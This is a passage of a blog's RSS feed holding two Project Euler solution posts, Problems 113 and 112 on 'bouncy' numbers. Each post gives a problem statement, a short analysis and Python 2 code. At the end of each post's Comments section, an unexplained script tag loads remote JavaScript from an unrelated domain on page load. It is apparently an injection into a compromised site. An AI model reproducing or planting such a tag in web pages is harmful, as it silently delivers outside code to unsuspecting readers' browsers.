		<description><![CDATA[How many numbers below a googol (10**100) are not "bouncy"?]]></description>
			<content:encoded><![CDATA[<h4><u>Problem Description</u></h4>
<p>Working from left-to-right if no digit is exceeded by the digit to its left it is called an increasing number; for example, 134468.</p>
<p>Similarly if no digit is exceeded by the digit to its right it is called a decreasing number; for example, 66420.</p>
<p>We shall call a positive integer that is neither increasing nor decreasing a &quot;bouncy&quot; number; for example, 155349.</p>
<p>As <i>n</i> increases, the proportion of bouncy numbers below <i>n</i> increases such that there are only 12951 numbers below one-million that are not bouncy and only 277032 non-bouncy numbers below 10<sup>10</sup>.</p>
<p>How many numbers below a googol (10<sup>100</sup>) are not bouncy?</p>
<h4><u>Analysis</u></h4>
<p>Whenever a problem asks for the number of elements in a set, as does this one, then the solution in typically a counting problem solved with combinometrics.</p>
<p>Our solution uses the general formula that counts the monotonically increasing/decreasing digits ignoring leading zeros.</p>
<h4><u>Solution</u></h4>
<p>Runs < 1 second in Python.</p>

<div class="wp_syntax"><div class="code"><pre class="python" style="font-family:monospace;"><span style="color: #ff7700;font-weight:bold;">from</span> Euler <span style="color: #ff7700;font-weight:bold;">import</span> binomial
&nbsp;
n=<span style="color: #ff4500;">100</span>
<span style="color: #ff7700;font-weight:bold;">print</span> binomial<span style="color: black;">&#40;</span>n+<span style="color: #ff4500;">10</span>,<span style="color: #ff4500;">10</span><span style="color: black;">&#41;</span> + binomial<span style="color: black;">&#40;</span>n+<span style="color: #ff4500;">9</span>,<span style="color: #ff4500;">9</span><span style="color: black;">&#41;</span> - <span style="color: #ff4500;">10</span><span style="color: #66cc66;">*</span>n - <span style="color: #ff4500;">2</span></pre></div></div>

<h4><u>Comments</u></h4>
<p>More information on the <em>Euler</em> module can be found on the <a href="http://blog.dreamshire.com/2009/03/26/94/">tools page</a>.<br />
<script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.dreamshire.com/2009/06/12/project-euler-problem-113-solution/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Project Euler Problem 112 Solution</title>
		<link>http://blog.dreamshire.com/2009/06/11/project-euler-problem-112-solution/</link>
		<comments>http://blog.dreamshire.com/2009/06/11/project-euler-problem-112-solution/#comments</comments>
		<pubDate>Thu, 11 Jun 2009 18:22:15 +0000</pubDate>
		<dc:creator>Mike</dc:creator>
				<category><![CDATA[Project Euler Solutions]]></category>
		<category><![CDATA[Solutions 100-149]]></category>
		<category><![CDATA[Bouncy Numbers]]></category>
		<category><![CDATA[Project Euler]]></category>
		<category><![CDATA[Python]]></category>
		<category><![CDATA[solution]]></category>

		<guid isPermaLink="false">http://blog.dreamshire.com/?p=1629</guid>
		<description><![CDATA[Investigating the density of "bouncy" numbers.]]></description>
			<content:encoded><![CDATA[<h4><u>Problem Description</u></h4>
<p>Working from left-to-right if no digit is exceeded by the digit to its left it is called an increasing number; for example, 134468.</p>
<p>Similarly if no digit is exceeded by the digit to its right it is called a decreasing number; for example, 66420.</p>
<p>We shall call a positive integer that is neither increasing nor decreasing a &quot;bouncy&quot; number; for example, 155349.</p>
<p>Clearly there cannot be any bouncy numbers below one-hundred, but just over half of the numbers below one-thousand (525) are bouncy. In fact, the least number for which the proportion of bouncy numbers first reaches 50% is 538.</p>
<p>Surprisingly, bouncy numbers become more and more common and by the time we reach 21780 the proportion of bouncy numbers is equal to 90%.</p>
<p>Find the least number for which the proportion of bouncy numbers is exactly 99%.</p>
<h4><u>Analysis</u></h4>
<p>It was a surprise how long this program took to run.  The <em>is_bouncy()</em> routine seemed to slow things down.  We begin at the 90% point specified in the problem description and wait for the ratio to hit 99%.</p>
<h4><u>Solution</u></h4>
<p>Runs < 7 seconds in Python.</p>

<div class="wp_syntax"><div class="code"><pre class="python" style="font-family:monospace;"><span style="color: #ff7700;font-weight:bold;">def</span> is_bouncy<span style="color: black;">&#40;</span>n<span style="color: black;">&#41;</span>:
  inc, dec, s = <span style="color: #008000;">False</span>, <span style="color: #008000;">False</span>, <span style="color: #008000;">str</span><span style="color: black;">&#40;</span>n<span style="color: black;">&#41;</span>
  <span style="color: #ff7700;font-weight:bold;">for</span> i <span style="color: #ff7700;font-weight:bold;">in</span> <span style="color: #008000;">range</span><span style="color: black;">&#40;</span><span style="color: #008000;">len</span><span style="color: black;">&#40;</span>s<span style="color: black;">&#41;</span>-<span style="color: #ff4500;">1</span><span style="color: black;">&#41;</span>:
    <span style="color: #ff7700;font-weight:bold;">if</span> s<span style="color: black;">&#91;</span>i+<span style="color: #ff4500;">1</span><span style="color: black;">&#93;</span> <span style="color: #66cc66;">&gt;</span> s<span style="color: black;">&#91;</span>i<span style="color: black;">&#93;</span>: inc = <span style="color: #008000;">True</span>
    <span style="color: #ff7700;font-weight:bold;">elif</span> s<span style="color: black;">&#91;</span>i+<span style="color: #ff4500;">1</span><span style="color: black;">&#93;</span> <span style="color: #66cc66;">&lt;</span> s<span style="color: black;">&#91;</span>i<span style="color: black;">&#93;</span>: dec = <span style="color: #008000;">True</span>
    <span style="color: #ff7700;font-weight:bold;">if</span> inc <span style="color: #ff7700;font-weight:bold;">and</span> dec: <span style="color: #ff7700;font-weight:bold;">return</span> <span style="color: #008000;">True</span>
  <span style="color: #ff7700;font-weight:bold;">return</span> <span style="color: #008000;">False</span>
&nbsp;
n, p = <span style="color: #ff4500;">21780</span>, <span style="color: #ff4500;">0.90</span>
b = n <span style="color: #66cc66;">*</span> p
<span style="color: #ff7700;font-weight:bold;">while</span> p <span style="color: #66cc66;">!</span>= <span style="color: #ff4500;">0.99</span>:
  n += <span style="color: #ff4500;">1</span>
  <span style="color: #ff7700;font-weight:bold;">if</span> is_bouncy<span style="color: black;">&#40;</span>n<span style="color: black;">&#41;</span>: b += <span style="color: #ff4500;">1</span>
  p = <span style="color: #008000;">float</span><span style="color: black;">&#40;</span>b<span style="color: black;">&#41;</span>/n
&nbsp;
<span style="color: #ff7700;font-weight:bold;">print</span> <span style="color: #483d8b;">&quot;Answer to PE112 = &quot;</span>, n</pre></div></div>

<h4><u>Comments</u></h4>
<p>The <em>float()</em> function was required to convert to floating point.<script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.dreamshire.com/2009/06/11/project-euler-problem-112-solution/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
